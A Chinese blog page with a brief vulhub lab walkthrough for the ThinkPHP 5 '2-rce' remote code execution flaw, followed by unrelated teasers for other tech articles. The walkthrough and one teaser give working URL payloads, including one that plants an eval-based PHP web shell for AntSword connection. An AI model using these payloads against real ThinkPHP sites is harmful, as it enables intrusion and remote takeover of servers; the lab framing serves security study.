vulhub Thinkphp5 2-rce远程代码执行漏洞

news2025/1/11 8:03:33

步骤一：执行以下命令启动靶场环境并在浏览器访问

cd /vulhub/thinkphp/2-rce #进入漏洞环境所在目录
docker-compose up -d #启动靶场
docker ps #查看容器信息

步骤二：访问网页

步骤三：?s=/Index/index/L/${@phpinfo()}

步骤四：?s=/Index/index/name/${@print(eval($_POST[cmd]))}

步骤五：进行蚁剑连接

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2115967.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

828华为云征文 | 搭建云服务器Flexus X实例，开启简单上云第一步

828华为云征文 | 搭建云服务器Flexus X实例，开启简单上云第一步 Flexus云服务器X实例是一个高度可扩展的云平台，提供了一系列的服务，包括数据处理、应用开发、服务器托管等；对于开发者来说，Flexus云服务器X实例提供了一…

Percona 开源监控方案 PMM 详解

文章目录前言1. 安装部署1.1 Server 安装1.2 Client 安装 2. 监控数据库2.1 MySQL2.2 PostgreSQL 3. Dashboard 介绍总结前言 Percona Monitoring and Management (PMM) 是 Percona 公司基于业界流行的组件 Prometheus 和 Grafana 设计开发的一体化数据库监控解决方案。本篇…

1.打开环境进入环境所在的文件 docker-compose up -d 一键启动 2.浏览器访问环境 3.构造payload ?s/index/index/L/${phpinfo()} 4.写入一句话木马 ?s/Index/index/name/${print(eval($_POST[cmd]))} 5.使用蚁剑连接 http://192.168.10.233:8080/?s/Index/index/name…

SpringMVC基于注解使用：国际化

01-国际化介绍首先在bootstrap下载个页面下载后把登录页面的代码粘上去然后再登录页面代码上有些超链接需要再spring-mvc.xml里面配置下，登录页面才能正常显示配置静态资源国际化-根据浏览器语言国际化现在是中文的情况，要改为英文 1.配置下属…

秒懂：进程优先级

1.概念简单来说，进程优先级是对于资源访问顺序来说的，谁先访问资源，谁的优先级就高。注意：这和权限概念不一样，权限是能不能访问。 2.情景引入进程的运行，是在CPU上执行，每次执行只能执行CP…

JavaWeb【day09】--（Mybatis）

1. Mybatis基础操作学习完mybatis入门后，我们继续学习mybatis基础操作。 1.1 需求需求说明： 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求，完成员工管理的需求开发。通过分析以上的页面原型和需求，我们确定了…

寒冬下，你不知道的赛道！

见字如面，技术人雄起！ 现在的环境怎样没有比技术人更有体会的了吧，但是我也不禁要问，还有那些赛道过的不错，还有谁在挣钱。因为能量是守恒的，西边不亮东边亮。真巧还真让我找到一些。中药 2023年中国中药…

文件名管理器，一款免费的文件名管理工具，支持文件整理功能

文件名管理器是一款可以批量修改文件名的工具，但是相较于其他工具又有不同。除了批量重命名功能外，软件同时提供一些特色功能：把文件名插入到文本文件中、根据文件名写入音乐ID3信息，整理下载的视频资源、音乐分类整理等。软件提供…

大圣也得靠AI？深扒《黑神话：悟空》后的AI技术！

要说最近爆火刷屏的顶流热词，非《黑神话：悟空》莫属。图片来源：新华社《黑神话：悟空》游戏背景设定在一个宏大而神秘的神话宇宙中，融合了古代中国的神话传说与虚构的奇幻元素，构建了一个绚丽多彩的开放世…

019、JOptionPane类的常用静态方法详解

目录 JOptionPane类的常用静态方法详解 1. showInputDialog()方法 1.1基本用法 1.2带有默认值的输入框 1.3带有选项的输入对话框 1.4自定义图标的输入对话框 2. showConfirmDialog()方法 2.1基本用法 2.2自定义按钮和图标 2.3带有自定义组件的确认对话框 3. showMes…

Pipeline流水线通过git拉取Jenkinsfile报错 error: RPC failed； result=22, HTTP code = 404

Pipeline流水线通过git拉取Jenkinsfile报错 error: RPC failed; result22, HTTP code 404 在学习共享库时使用通过git拉取jenkinsfile时，报错在排查gitlab服务状态，网络通讯，防火墙规则以及Jenkins凭据均可以正常使用，最后发现的…